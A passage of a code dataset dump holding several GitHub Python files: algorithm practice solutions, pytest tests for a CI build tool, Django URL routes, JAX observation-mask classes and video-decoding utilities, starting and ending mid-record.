result == [], f\"Expected [] but got {result}\"\n\n# Test 5: Missing ranges of size one\nnums = [1, 3, 5, 7, 9]\nlower = 0\nupper = 10\nresult = Solution().findMissingRanges(nums, lower, upper)\nassert result == [\n    \"0\", \"2\", \"4\", \"6\", \"8\", \"10\"], f\"Expected ['0', '2', '4', '6', '8', '10'] but got {result}\"\n\n# Test 6: Empty list\nnums = []\nlower = 0\nupper = 10\nresult = Solution().findMissingRanges(nums, lower, upper)\nassert result == [\"0->10\"], f\"Expected ['0->10'] but got {result}\"","repo_name":"garofalof/algopractice_python","sub_path":"easy/163_Missing_Ranges.py","file_name":"163_Missing_Ranges.py","file_ext":"py","file_size_in_byte":2166,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"3790213263","text":"\"\"\"Testing module to test ci-build functionality\n\"\"\"\nimport subprocess\n\nimport pytest\n\nimport compile as compilation\nfrom settings import TEST_DIR, TEST_PROJECT_PATH_ARGS\n\n\ndef test_subprocesses():\n    \"\"\"\n    Tests ci-build executable with a simple Makefile provided by tests\n    :return:\n    \"\"\"\n    proc = subprocess.run([\"ci-build\", \"make\"], cwd=TEST_DIR)\n    assert proc.returncode == 0\n    proc = subprocess.run([\"ci-build\"] + TEST_PROJECT_PATH_ARGS + [\"make\"])\n    assert proc.returncode == 0\n\n\ndef test_ci_build():\n    \"\"\"Tests ci-build without subprocessing (this way it's easier to track code\n    coverage\"\"\"\n\n    # simply builds the project\n    with pytest.raises(SystemExit) as exit_exception:\n        compilation.build_main(args=TEST_PROJECT_PATH_ARGS + [\"make\"])\n    assert exit_exception.type == SystemExit\n    assert exit_exception.value.code == 0\n\n    # builds the project without build command\n    with pytest.raises(SystemExit) as exit_exception:\n        compilation.build_main(args=[])\n    assert exit_exception.type == SystemExit\n    assert exit_exception.value.code == 2\n\n    # builds the project with sanitizers but without build command\n    with pytest.raises(SystemExit) as exit_exception:\n        compilation.build_main(args=[\"--sanitize-build\"])\n    assert exit_exception.type == SystemExit\n    assert exit_exception.value.code == 2\n\n    # builds the project without build command but project path\n    with pytest.raises(SystemExit) as exit_exception:\n        compilation.build_main(args=TEST_PROJECT_PATH_ARGS)\n    assert exit_exception.type == SystemExit\n    assert exit_exception.value.code == -1\n\n    # builds the project with a wrong command\n    with pytest.raises(SystemExit) as exit_exception:\n        compilation.build_main(args=[\"fofgsdagtwsa\"])\n    assert exit_exception.type == SystemExit\n    assert exit_exception.value.code == -1\n","repo_name":"USECAP/ci-tools","sub_path":"tests/test_ci_build.py","file_name":"test_ci_build.py","file_ext":"py","file_size_in_byte":1870,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"28021297553","text":"from django.conf.urls import patterns, url\nfrom users import views\n\nurlpatterns = patterns('',\n    url(r'^$', views.index, name=\"index\"),\n    url(r'^publish/$', views.publish, name=\"publish\"),\n    url(r'^setting/$', views.setting, name=\"setting\"),\n    url(r'^good/$', views.good, name=\"good\"),\n    url(r'^cogood/$', views.cogood, name=\"cogood\"),\n    url(r'^get/$', views.getimg, name=\"get\"),\n    url(r'^add/$', views.add, name=\"add\"),\n    url(r'^share/$', views.share, name=\"share\"),\n    url(r'^setting/update/$', views.update, name=\"update\"),\n    url(r'^setting/pwdchange/$', views.pwdchange, name=\"pwdchange\"),\n    url(r'^setting/head/$', views.head, name=\"head\"),\n    url(r'^mycourse/$', views.mycourseact, name=\"mycourseact\"),\n    url(r'^home/(.+)$', views.home, name=\"home\"),\n    url(r'^message/$', views.message, name=\"message\"),\n    url(r'^manage/course/$', views.managecourse, name=\"managecourse\"),\n    url(r'^manage/group/$', views.managegroup, name=\"managegroup\"),\n    url(r'^manage/reward/$', views.managereward, name=\"managereward\"),\n    url(r'^mytopic/$', views.mytopic, name=\"mytopic\"),\n    url(r'^teacherapply/$', views.teacherapply, name=\"teacherapply\"),\n    url(r'^comment/$', views.comment, name=\"comment\"),\n    url(r'^cocomment/$', views.cocomment, name=\"cocomment\"),\n    url(r'^get_more_re/$', views.get_more_re, name=\"get_more_re\"),\n    \n    url(r'^css/(?P<path>.*)$', 'django.views.static.serve', \n        { 'document_root': '/home/tron/mz/maizhi/templates/public/css' } \n\t),\n\turl(r'^js/(?P<path>.*)$', 'django.views.static.serve', \n        { 'document_root': '/home/tron/mz/maizhi/templates/public/js' } \n    ),\n    url(r'^fonts/(?P<path>.*)$', 'django.views.static.serve', \n        { 'document_root': '/home/tron/mz/maizhi/templates/public/fonts' } \n    ), \n    url(r'^img/(?P<path>.*)$', 'django.views.static.serve', \n        { 'document_root': '/home/tron/mz/maizhi/templates/public/img' } \n    ), \n    url(r'^news/(?P<path>.*)$', 'django.views.static.serve', \n        { 'document_root': '/home/tron/mz/maizhi/templates/picture/news' } \n    ), \n    url(r'^ico/(?P<path>.*)$', 'django.views.static.serve', \n        { 'document_root': '/home/tron/mz/maizhi/templates/picture/ico' } \n    ), \n    url(r'^group/(?P<path>.*)$', 'django.views.static.serve', \n        { 'document_root': '/home/tron/mz/maizhi/templates/picture/group/image' } \n    ), \n)\n\n","repo_name":"Maizhi/maizhi","sub_path":"users/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":2372,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"3619013753","text":"# 7월 23일\n\n# 불량 사용자\n# https://programmers.co.kr/learn/courses/30/lessons/64064\n# 2019 카카오 개발 인턴십 - lv3\n\n# user_id와 banned_id를 full matching하면서\n# 각각 banned_id에 해당하는 {}를 만들어 어떤 user들이 매칭되는지 추가해놓기\n# dfs로 경우의 수를 탐색\n\n# 문제를 제대로 읽자.... ㅠㅠ\n# 문제를 대충 읽고 풀려니 다시 제대로 읽었을 때 문제의 내용이 엄청 변했다.\n# lv3치곤 너무 쉬운데 했더니 다시 제대로 읽었더니 lv3인 이유를 알게된 것.\n\n# yield 구문 연습\n\n# O(N^2)?\n\n\n\ndef solution(user_id, banned_id):\n    ban_dict = {ban:[] for ban in banned_id}\n\n    for user in user_id:\n        # match된 user_name ban_list에 추가\n        for ban in ban_dict.keys():\n            cnt = 0\n\n            for u, b in zip(user, ban):\n                if b == '*' or u == b:\n                    cnt += 1\n        \n            # 매칭이 되는 것이니, ban id 반환\n            if cnt == len(ban) == len(user):\n                ban_dict[ban].append(user)\n\n    registered = set()\n\n    def get_hash(visited):\n\n        r = 0\n\n        for v in visited:\n            r += hash(v)\n        \n        return r\n\n    # 각각 경우의 수 찾기 (dfs)\n    def dfs(id, visited):\n\n        if id == len(banned_id):\n            \n            h = get_hash(visited)\n\n            if h not in registered:\n                registered.add(h)\n                return 1\n\n            return 0\n\n        lst = ban_dict[banned_id[id]]\n\n        if len(lst) == 0:\n            return 0\n\n        cnt = 0\n\n        for user in lst:\n            if user not in visited:\n                visited.append(user)\n                cnt += dfs(id + 1, visited)\n                visited.remove(user)\n            \n        return cnt\n    \n    return dfs(0, [])\n\n# print(solution([\"frodo\", \"fradi\", \"crodo\", \"abc123\", \"frodoc\"], [\"fr*d*\", \"abc1**\"]))\n# print(solution([\"frodo\", \"fradi\", \"crodo\", \"abc123\", \"frodoc\"], [\"*rodo\", \"*rodo\", \"******\"]))\nprint(solution([\"frodo\", \"fradi\", \"crodo\", \"abc123\", \"frodoc\"], [\"fr*d*\", \"*rodo\", \"******\", \"******\"]))\n\n","repo_name":"lee-gyu/happy_algorithm","sub_path":"20_07_July/0723_lee_programmers_64064.py","file_name":"0723_lee_programmers_64064.py","file_ext":"py","file_size_in_byte":2117,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"29554917591","text":"from abc import ABC, abstractmethod\nfrom dataclasses import dataclass\nimport jax.numpy as jnp\nfrom typing import Any\n\n\nclass ObsMask(ABC):\n\n    @abstractmethod\n    def mask_fun(self, *args: Any, **kwds: Any) -> Any:\n        pass\n\n    @abstractmethod\n    def plot_mask_fun(self, *args: Any, **kwds: Any) -> None:\n        pass\n\n@dataclass\nclass DistanceObsMask(ObsMask):\n    radius: float\n\n    def mask_fun(self, obj_x, obj_y):\n        squared_distance = obj_x**2 + obj_y**2\n\n        return squared_distance <= self.radius**2\n    \n    def plot_mask_fun(self, ax, center) -> None:\n        theta = jnp.linspace(0, 2 * jnp.pi, 100)\n\n        x = center[0] + self.radius * jnp.cos(theta)\n        y = center[1] + self.radius * jnp.sin(theta)\n\n        ax.plot(x, y)\n\n@dataclass\nclass ConicObsMask(ObsMask):\n    radius: float\n    angle: float\n\n    def mask_fun(self, obj_x, obj_y):\n        squared_distance = obj_x**2 + obj_y**2\n\n        obj_angle = jnp.arctan2(obj_y, obj_x)\n        angle_condition = (- self.angle / 2 <= obj_angle) & (obj_angle <= self.angle / 2)\n        radius_condition = squared_distance <= self.radius**2\n\n        return angle_condition & radius_condition\n    \n    def plot_mask_fun(self, ax, center, color='b') -> None:\n        theta = jnp.linspace(- self.angle/2, self.angle/2, 100)\n\n        x = center[0] + self.radius * jnp.cos(theta)\n        y = center[1] + self.radius * jnp.sin(theta)\n\n        x1 = center[0] + self.radius * jnp.cos(- self.angle/2)\n        y1 = center[1] + self.radius * jnp.sin(- self.angle/2)\n\n        x2 = center[0] + self.radius * jnp.cos(self.angle/2)\n        y2 = center[1] + self.radius * jnp.sin(self.angle/2)\n\n        ax.plot([0, x1], [0, y1], c=color)\n        ax.plot([0, x2], [0, y2], c=color)\n        ax.plot(x, y, c=color)","repo_name":"clemgris/imitation_gap_waymax","sub_path":"obs_mak/mask.py","file_name":"mask.py","file_ext":"py","file_size_in_byte":1772,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"71810714001","text":"import sys;sys.stdin = open('1697.txt')\n\nfrom collections import deque\n\ndef BFS():\n    N, K = map(int, input().split())\n    dq = deque()\n    dq.append(N)\n    limit = 100000\n    used = [0] * (limit + 1)\n    t = 0\n    while dq:\n        for _ in range(len(dq)):\n            n = dq.popleft()\n            if n == K: return t\n            if n-1 >= 0 and not used[n-1]:\n                dq.append(n - 1)\n                used[n - 1] = 1\n            if n+1 <= K and not used[n+1]:\n                dq.append(n + 1)\n                used[n + 1] = 1\n            if n*2 <= limit and not used[n*2]:\n                dq.append(n * 2)\n                used[n * 2] = 1\n        t += 1\n\nprint(BFS())","repo_name":"youngmin940629/AlgorithmStudy","sub_path":"알고리즘스터디/2021_11/1106/강민철/b1697_숨바꼭질.py","file_name":"b1697_숨바꼭질.py","file_ext":"py","file_size_in_byte":676,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"71646538643","text":"class Solution:\n    def countBits(self, n: int) -> List[int]:\n        res = [0] * (n + 1)\n        for i in range(len(res)):\n            res[i] = self.numberOfBits(i)       \n        return res\n        \n    def numberOfBits(self, n):\n        res = 0\n        while n:\n            n, dig = divmod(n, 2)\n            res += dig\n            \n        return res\n    \n    # TC: O(nlogn)\n    # SC: O(1)","repo_name":"geraldelorm/DSA-problems","sub_path":"Neetcode/338_Counting_Bits.py","file_name":"338_Counting_Bits.py","file_ext":"py","file_size_in_byte":392,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"}
+{"seq_id":"20079123754","text":"import logging\nimport math\nimport numpy as np\nimport random\nimport torch\nimport torchvision.io as io\n\nfrom . import transform as transform\n\nlogger = logging.getLogger(__name__)\n\n\ndef temporal_sampling(frames, start_idx, end_idx, num_samples):\n    \"\"\"\n    Given the start and end frame index, sample num_samples frames between\n    the start and end with equal interval.\n    Args:\n        frames (tensor): a tensor of video frames, dimension is\n            `num video frames` x `channel` x `height` x `width`.\n        start_idx (int): the index of the start frame.\n        end_idx (int): the index of the end frame.\n        num_samples (int): number of frames to sample.\n    Returns:\n        frames (tersor): a tensor of temporal sampled video frames, dimension is\n            `num clip frames` x `channel` x `height` x `width`.\n    \"\"\"\n    index = torch.linspace(start_idx, end_idx, num_samples)\n    index = torch.clamp(index, 0, frames.shape[0] - 1).long()\n    frames = torch.index_select(frames, 0, index)\n    return frames\n\n\ndef get_start_end_idx(\n    video_size, clip_size, clip_idx, num_clips_uniform, use_offset=False\n):\n    \"\"\"\n    Sample a clip of size clip_size from a video of size video_size and\n    return the indices of the first and last frame of the clip. If clip_idx is\n    -1, the clip is randomly sampled, otherwise uniformly split the video to\n    num_clips_uniform clips, and select the start and end index of clip_idx-th video\n    clip.\n    Args:\n        video_size (int): number of overall frames.\n        clip_size (int): size of the clip to sample from the frames.\n        clip_idx (int): if clip_idx is -1, perform random jitter sampling. If\n            clip_idx is larger than -1, uniformly split the video to num_clips_uniform\n            clips, and select the start and end index of the clip_idx-th video\n            clip.\n        num_clips_uniform (int): overall number of clips to uniformly sample from the\n            given video for testing.\n    Returns:\n        start_idx (int): the start frame index.\n        end_idx (int): the end frame index.\n    \"\"\"\n    delta = max(video_size - clip_size, 0)\n    if clip_idx == -1:\n        # Random temporal sampling.\n        start_idx = random.uniform(0, delta)\n    else:\n        if use_offset:\n            if num_clips_uniform == 1:\n                # Take the center clip if num_clips_uniform is 1.\n                start_idx = math.floor(delta / 2)\n            else:\n                # Uniformly sample the clip with the given index.\n                start_idx = clip_idx * math.floor(\n                    delta / (num_clips_uniform - 1)\n                )\n        else:\n            # Uniformly sample the clip with the given index.\n            start_idx = delta * clip_idx / num_clips_uniform\n    end_idx = start_idx + clip_size - 1\n\n    return start_idx, end_idx, start_idx / delta if delta != 0 else 0.0\n\n\ndef get_multiple_start_end_idx(\n    video_size,\n    clip_sizes,\n    clip_idx,\n    num_clips_uniform,\n    min_delta=0,\n    max_delta=math.inf,\n    use_offset=False,\n):\n    \"\"\"\n    Sample a clip of size clip_size from a video of size video_size and\n    return the indices of the first and last frame of the clip. If clip_idx is\n    -1, the clip is randomly sampled, otherwise uniformly split the video to\n    num_clips_uniform clips, and select the start and end index of clip_idx-th video\n    clip.\n    Args:\n        video_size (int): number of overall frames.\n        clip_sizes (list): size of the clip to sample from the frames.\n        clip_idx (int): if clip_idx is -1, perform random jitter sampling. If\n            clip_idx is larger than -1, uniformly split the video to num_clips_uniform\n            clips, and select the start and end index of the clip_idx-th video\n            clip.\n        num_clips_uniform (int): overall number of clips to uniformly sample from the\n            given video for testing.\n    Returns:\n        start_idx (int): the start frame index.\n        end_idx (int): the end frame index.\n    \"\"\"\n\n    def sample_clips(\n        video_size,\n        clip_sizes,\n        clip_idx,\n        num_clips_uniform,\n        min_delta=0,\n        max_delta=math.inf,\n        num_retries=100,\n        use_offset=False,\n    ):\n        se_inds = np.empty((0, 2))\n        dt = np.empty((0))\n        for clip_size in clip_sizes:\n            for i_try in range(num_retries):\n                # clip_size = int(clip_size)\n                max_start = max(video_size - clip_size, 0)\n                if clip_idx == -1:\n                    # Random temporal sampling.\n                    start_idx = random.uniform(0, max_start)\n                else:  # Uniformly sample the clip with the given index.\n                    if use_offset:\n                        if num_clips_uniform == 1:\n                            # Take the center clip if num_clips is 1.\n                            start_idx = math.floor(max_start / 2)\n                        else:\n                            start_idx = clip_idx * math.floor(\n                                max_start / (num_clips_uniform - 1)\n                            )\n                    else:\n                        start_idx = max_start * clip_idx / num_clips_uniform\n\n                end_idx = start_idx + clip_size - 1\n\n                se_inds_new = np.append(se_inds, [[start_idx, end_idx]], axis=0)\n                if se_inds.shape[0] < 1:\n                    se_inds = se_inds_new\n                    break\n\n                se_inds_new = np.sort(se_inds_new, 0)\n                t_start, t_end = se_inds_new[:, 0], se_inds_new[:, 1]\n                dt = t_start[1:] - t_end[:-1]\n                if (\n                    any(dt < min_delta) or any(dt > max_delta)\n                ) and i_try < num_retries - 1:\n                    continue  # there is overlap\n                else:\n                    se_inds = se_inds_new\n                    break\n        return se_inds, dt\n\n    num_retries, goodness = 100, -math.inf\n    for _ in range(num_retries):\n        se_inds, dt = sample_clips(\n            video_size,\n            clip_sizes,\n            clip_idx,\n            num_clips_uniform,\n            min_delta,\n            max_delta,\n            100,\n            use_offset,\n        )\n        success = not (any(dt < min_delta) or any(dt > max_delta))\n        if success or clip_idx != -1:\n            se_final, dt_final = se_inds, dt\n            break\n        else:\n            cur_goodness = np.r_[dt[dt < min_delta], -dt[dt > max_delta]].sum()\n            if goodness < cur_goodness:\n                se_final, dt_final = se_inds, dt\n                goodness = cur_goodness\n\n    delta_clips = np.concatenate((np.array([0]), dt_final))\n    start_end_delta_time = np.c_[se_final, delta_clips]\n\n    return start_end_delta_time\n\n\ndef pyav_decode_stream(\n    container, start_pts, end_pts, stream, stream_name, buffer_size=0\n):\n    \"\"\"\n    Decode the video with PyAV decoder.\n    Args:\n        container (container): PyAV container.\n        start_pts (int): the starting Presentation TimeStamp to fetch the\n            video frames.\n        end_pts (int): the ending Presentation TimeStamp of the decoded frames.\n        stream (stream): PyAV stream.\n        stream_name (dict): a dictionary of streams. For example, {\"video\": 0}\n            means video stream at stream index 0.\n        buffer_size (int): number of additional frames to decode beyond end_pts.\n    Returns:\n        result (list): list of frames decoded.\n        max_pts (int): max Presentation TimeStamp of the video sequence.\n    \"\"\"\n    # Seeking in the stream is imprecise. Thus, seek to an ealier PTS by a\n    # margin pts.\n    margin = 1024\n    seek_offset = max(start_pts - margin, 0)\n\n    container.seek(seek_offset, any_frame=False, backward=True, stream=stream)\n    frames = {}\n    buffer_count = 0\n    max_pts = 0\n    for frame in container.decode(**stream_name):\n        max_pts = max(max_pts, frame.pts)\n        if frame.pts < start_pts:\n            continue\n        if frame.pts <= end_pts:\n            frames[frame.pts] = frame\n        else:\n            buffer_count += 1\n            frames[frame.pts] = frame\n            if buffer_count >= buffer_size:\n                break\n    result = [frames[pts] for pts in sorted(frames)]\n    return result, max_pts\n\n\ndef torchvision_decode(\n    video_handle,\n    sampling_rate,\n    num_frames,\n    clip_idx,\n    video_meta,\n    num_clips_uniform=10,\n    target_fps=30,\n    modalities=(\"visual\",),\n    max_spatial_scale=0,\n    use_offset=False,\n    min_delta=-math.inf,\n    max_delta=math.inf,\n):\n    \"\"\"\n    If video_meta is not empty, perform temporal selective decoding to sample a\n    clip from the video with TorchVision decoder. If video_meta is empty, decode\n    the entire video and update the video_meta.\n    Args:\n        video_handle (bytes): raw bytes of the video file.\n        sampling_rate (int): frame sampling rate (interval between two sampled\n            frames).\n        num_frames (int): number of frames to sample.\n        clip_idx (int): if clip_idx is -1, perform random temporal\n            sampling. If clip_idx is larger than -1, uniformly split the\n            video to num_clips_uniform clips, and select the clip_idx-th video clip.\n        video_meta (dict): a dict contains VideoMetaData. Details can be found\n            at `pytorch/vision/torchvision/io/_video_opt.py`.\n        num_clips_uniform (int): overall number of clips to uniformly sample from the\n            given video.\n        target_fps (int): the input video may has different fps, convert it to\n            the target video fps.\n        modalities (tuple): tuple of modalities to decode. Currently only\n            support `visual`, planning to support `acoustic` soon.\n        max_spatial_scale (int): the resolution of the spatial shorter\n            edge size during decoding.\n        min_delta (int): minimum distance between clips when sampling multiple.\n        max_delta (int): max distance between clips when sampling multiple.\n    Returns:\n        frames (tensor): decoded frames from the video.\n        fps (float): the number of frames per second of the video.\n        decode_all_video (bool): if True, the entire video was decoded.\n    \"\"\"\n    # Convert the bytes to a tensor.\n    video_tensor = torch.from_numpy(np.frombuffer(video_handle, dtype=np.uint8))\n\n    decode_all_video = True\n    video_start_pts, video_end_pts = 0, -1\n    # The video_meta is empty, fetch the meta data from the raw video.\n    if len(video_meta) == 0:\n        # Tracking the meta info for selective decoding in the future.\n        meta = io._probe_video_from_memory(video_tensor)\n        # Using the information from video_meta to perform selective decoding.\n        video_meta[\"video_timebase\"] = meta.video_timebase\n        video_meta[\"video_numerator\"] = meta.video_timebase.numerator\n        video_meta[\"video_denominator\"] = meta.video_timebase.denominator\n        video_meta[\"has_video\"] = meta.has_video\n        video_meta[\"video_duration\"] = meta.video_duration\n        video_meta[\"video_fps\"] = meta.video_fps\n        video_meta[\"audio_timebas\"] = meta.audio_timebase\n        video_meta[\"audio_numerator\"] = meta.audio_timebase.numerator\n        video_meta[\"audio_denominator\"] = meta.audio_timebase.denominator\n        video_meta[\"has_audio\"] = meta.has_audio\n        video_meta[\"audio_duration\"] = meta.audio_duration\n        video_meta[\"audio_sample_rate\"] = meta.audio_sample_rate\n\n    fps = video_meta[\"video_fps\"]\n\n    if len(video_meta) > 0 and (\n        video_meta[\"has_video\"]\n        and video_meta[\"video_denominator\"] > 0\n        and video_meta[\"video_duration\"] > 0\n        and fps * video_meta[\"video_duration\"]\n        > sum(T * tau for T, tau in zip(num_frames, sampling_rate))\n    ):\n        decode_all_video = False  # try selective decoding\n\n        clip_sizes = [\n            np.maximum(1.0, sampling_rate[i] * num_frames[i] / target_fps * fps)\n            for i in range(len(sampling_rate))\n        ]\n        start_end_delta_time = get_multiple_start_end_idx(\n            fps * video_meta[\"video_duration\"],\n            clip_sizes,\n            clip_idx,\n            num_clips_uniform,\n            min_delta=min_delta,\n            max_delta=max_delta,\n            use_offset=use_offset,\n        )\n        frames_out = [None] * len(num_frames)\n        for k in range(len(num_frames)):\n            pts_per_frame = (\n                video_meta[\"video_denominator\"] / video_meta[\"video_fps\"]\n            )\n            video_start_pts = int(start_end_delta_time[k, 0] * pts_per_frame)\n            video_end_pts = int(start_end_delta_time[k, 1] * pts_per_frame)\n\n            # Decode the raw video with the tv decoder.\n            v_frames, _ = io._read_video_from_memory(\n                video_tensor,\n                seek_frame_margin=1.0,\n                read_video_stream=\"visual\" in modalities,\n                video_width=0,\n                video_height=0,\n                video_min_dimension=max_spatial_scale,\n                video_pts_range=(video_start_pts, video_end_pts),\n                video_timebase_numerator=video_meta[\"video_numerator\"],\n                video_timebase_denominator=video_meta[\"video_denominator\"],\n                read_audio_stream=0,\n            )\n            if v_frames is None or v_frames.shape == torch.Size([0]):\n                decode_all_video = True\n                logger.info(\"TV decode FAILED try decode all\")\n                break\n            frames_out[k] = v_frames\n\n    if decode_all_video:\n        # failed selective decoding\n        decode_all_video = True\n        video_start_pts, video_end_pts = 0, -1\n        start_end_delta_time = None\n        v_frames, _ = io._read_video_from_memory(\n            video_tensor,\n            seek_frame_margin=1.0,\n            read_video_stream=\"visual\" in modalities,\n            video_width=0,\n            video_height=0,\n            video_min_dimension=max_spatial_scale,\n            video_pts_range=(video_start_pts, video_end_pts),\n            video_timebase_numerator=video_meta[\"video_numerator\"],\n            video_timebase_denominator=video_meta[\"video_denominator\"],\n            read_audio_stream=0,\n        )\n        if v_frames.shape == torch.Size([0]):\n            v_frames = None\n            logger.info(\"TV decode FAILED try cecode all\")\n\n        frames_out = [v_frames]\n\n    if any([t.shape[0] < 0 for t in frames_out]):\n        frames_out = [None]\n        logger.info(\"TV decode FAILED: Decoded empty video\")\n\n    return frames_out, fps, decode_all_video, start_end_delta_time\n\n\ndef pyav_decode(\n    container,\n    sampling_rate,\n    num_frames,\n    clip_idx,\n    num_clips_uniform=10,\n    target_fps=30,\n    use_offset=False,\n):\n    \"\"\"\n    Convert the video from its original fps to the target_fps. If the video\n    support selective decoding (contain decoding information in the video head),\n    the perform temporal selective decoding and sample a clip from the video\n    with the PyAV decoder. If the video does not support selective decoding,\n    decode the entire video.\n\n    Args:\n        container (container): pyav container.\n        sampling_rate (int): frame sampling rate (interval between two sampled\n            frames.\n        num_frames (int): number of frames to sample.\n        clip_idx (int): if clip_idx is -1, perform random temporal sampling. If\n            clip_idx is larger than -1, uniformly split the video to num_clips_uniform\n            clips, and select the clip_idx-th video clip.\n        num_clips_uniform (int): overall number of clips to uniformly sample from the\n            given video.\n        target_fps (int): the input video may has different fps, convert it to\n            the target video fps before frame sampling.\n    Returns:\n        frames (tensor): decoded frames from the video. Return None if the no\n            video stream was found.\n        fps (float): the number of frames per second of the video.\n        decode_all_video (bool): If True, the entire video was decoded.\n    \"\"\"\n    # Try to fetch the decoding information from the video head. Some of the\n    # videos does not support fetching the decoding information, for that case\n    # it will get None duration.\n    fps = float(container.streams.video[0].average_rate)\n    frames_length = container.streams.video[0].frames\n    duration = container.streams.video[0].duration\n\n    if duration is None:\n        # If failed to fetch the decoding information, decode the entire video.\n        decode_all_video = True\n        video_start_pts, video_end_pts = 0, math.inf\n    else:\n        # Perform selective decoding.\n        decode_all_video = False\n        clip_size = np.maximum(\n            1.0, np.ceil(sampling_rate * (num_frames - 1) / target_fps * fps)\n        )\n        start_idx, end_idx, fraction = get_start_end_idx(\n            frames_length,\n            clip_size,\n            clip_idx,\n            num_clips_uniform,\n            use_offset=use_offset,\n        )\n        timebase = duration / frames_length\n        video_start_pts = int(start_idx * timebase)\n        video_end_pts = int(end_idx * timebase)\n\n    frames = None\n    # If video stream was found, fetch video frames from the video.\n    if container.streams.video:\n        video_frames, max_pts = pyav_decode_stream(\n            container,\n            video_start_pts,\n            video_end_pts,\n            container.streams.video[0],\n            {\"video\": 0},\n        )\n        container.close()\n\n        frames = [frame.to_rgb().to_ndarray() for frame in video_frames]\n        frames = torch.as_tensor(np.stack(frames))\n    return frames, fps, decode_all_video\n\n\ndef decode(\n    container,\n    sampling_rate,\n    num_frames,\n    clip_idx=-1,\n    num_clips_uniform=10,\n    video_meta=None,\n    target_fps=30,\n    backend=\"pyav\",\n    max_spatial_scale=0,\n    use_offset=False,\n    time_diff_prob=0.0,\n    gaussian_prob=0.0,\n    min_delta=-math.inf,\n    max_delta=math.inf,\n    temporally_rnd_clips=True,\n):\n    \"\"\"\n    Decode the video and perform temporal sampling.\n    Args:\n        container (container): pyav container.\n        sampling_rate (list of ints): frame sampling rate (interval between two sampled\n            frames).\n        num_frames (list of ints): number of frames to sample.\n        clip_idx (int): if clip_idx is -1, perform random temporal\n            sampling. If clip_idx is larger than -1, uniformly split the\n            video to num_clips_uniform clips, and select the\n            clip_idx-th video clip.\n        num_clips_uniform (int): overall number of clips to uniformly\n            sample from the given video.\n        video_meta (dict): a dict contains VideoMetaData. Details can be find\n            at `pytorch/vision/torchvision/io/_video_opt.py`.\n        target_fps (int): the input video may have different fps, convert it to\n            the target video fps before frame sampling.\n        backend (str): decoding backend includes `pyav` and `torchvision`. The\n            default one is `pyav`.\n        max_spatial_scale (int): keep the aspect ratio and resize the frame so\n            that shorter edge size is max_spatial_scale. Only used in\n            `torchvision` backend.\n    Returns:\n        frames (tensor): decoded frames from the video.\n    \"\"\"\n    # Currently support two decoders: 1) PyAV, and 2) TorchVision.\n    assert clip_idx >= -1, \"Not valied clip_idx {}\".format(clip_idx)\n    assert len(sampling_rate) == len(num_frames)\n    num_decode = len(num_frames)\n    num_frames_orig = num_frames\n    if num_decode > 1 and temporally_rnd_clips:\n        ind_clips = np.random.permutation(num_decode)\n        sampling_rate = [sampling_rate[i] for i in ind_clips]\n        num_frames = [num_frames[i] for i in ind_clips]\n    else:\n        ind_clips = np.arange(\n            num_decode\n        )  # clips come temporally ordered from decoder\n    try:\n        if backend == \"pyav\":\n            assert (\n                min_delta == -math.inf and max_delta == math.inf\n            ), \"delta sampling not supported in pyav\"\n            frames_decoded, fps, decode_all_video = pyav_decode(\n                container,\n                sampling_rate,\n                num_frames,\n                clip_idx,\n                num_clips_uniform,\n                target_fps,\n                use_offset=use_offset,\n            )\n        elif backend == \"torchvision\":\n            (\n                frames_decoded,\n                fps,\n                decode_all_video,\n                start_end_delta_time,\n            ) = torchvision_decode(\n                container,\n                sampling_rate,\n                num_frames,\n                clip_idx,\n                video_meta,\n                num_clips_uniform,\n                target_fps,\n                (\"visual\",),\n                max_spatial_scale,\n                use_offset=use_offset,\n                min_delta=min_delta,\n                max_delta=max_delta,\n            )\n        else:\n            raise NotImplementedError(\n                \"Unknown decoding backend {}\".format(backend)\n            )\n    except Exception as e:\n        print(\"Failed to decode by {} with exception: {}\".format(backend, e))\n        return None, None, None\n\n    # Return None if the frames was not decoded successfully.\n    if frames_decoded is None or None in frames_decoded:\n        return None, None, None\n\n    if not isinstance(frames_decoded, list):\n        frames_decoded = [frames_decoded]\n    num_decoded = len(frames_decoded)\n    clip_sizes = [\n        np.maximum(1.0, sampling_rate[i] * num_frames[i] / target_fps * fps)\n        for i in range(len(sampling_rate))\n    ]\n\n    if decode_all_video:  # full video was decoded (not trimmed yet)\n        assert num_decoded == 1 and start_end_delta_time is None\n        start_end_delta_time = get_multiple_start_end_idx(\n            frames_decoded[0].shape[0],\n            clip_sizes,\n            clip_idx if decode_all_video else 0,\n            num_clips_uniform if decode_all_video else 1,\n            min_delta=min_delta,\n            max_delta=max_delta,\n            use_offset=use_offset,\n        )\n\n    frames_out, start_inds, time_diff_aug = (\n        [None] * num_decode,\n        [None] * num_decode,\n        [None] * num_decode,\n    )\n    augment_vid = gaussian_prob > 0.0 or time_diff_prob > 0.0\n    for k in range(num_decode):\n        T = num_frames[k]\n        # Perform temporal sampling from the decoded video.\n\n        if decode_all_video:\n            frames = frames_decoded[0]\n            if augment_vid:\n                frames = frames.clone()\n            start_idx, end_idx = (\n                start_end_delta_time[k, 0],\n                start_end_delta_time[k, 1],\n            )\n        else:\n            frames = frames_decoded[k]\n            # video is already trimmed so we just need subsampling\n            start_idx, end_idx, clip_position = get_start_end_idx(\n                frames.shape[0], clip_sizes[k], 0, 1\n            )\n        if augment_vid:\n            frames, time_diff_aug[k] = transform.augment_raw_frames(\n                frames, time_diff_prob, gaussian_prob\n            )\n        frames_k = temporal_sampling(frames, start_idx, end_idx, T)\n        frames_out[k] = frames_k\n\n    # if we shuffle, need to randomize the output, otherwise it will always be past->future\n    if num_decode > 1 and temporally_rnd_clips:\n        frames_out_, time_diff_aug_ = [None] * num_decode, [None] * num_decode\n        start_end_delta_time_ = np.zeros_like(start_end_delta_time)\n        for i, j in enumerate(ind_clips):\n            frames_out_[j] = 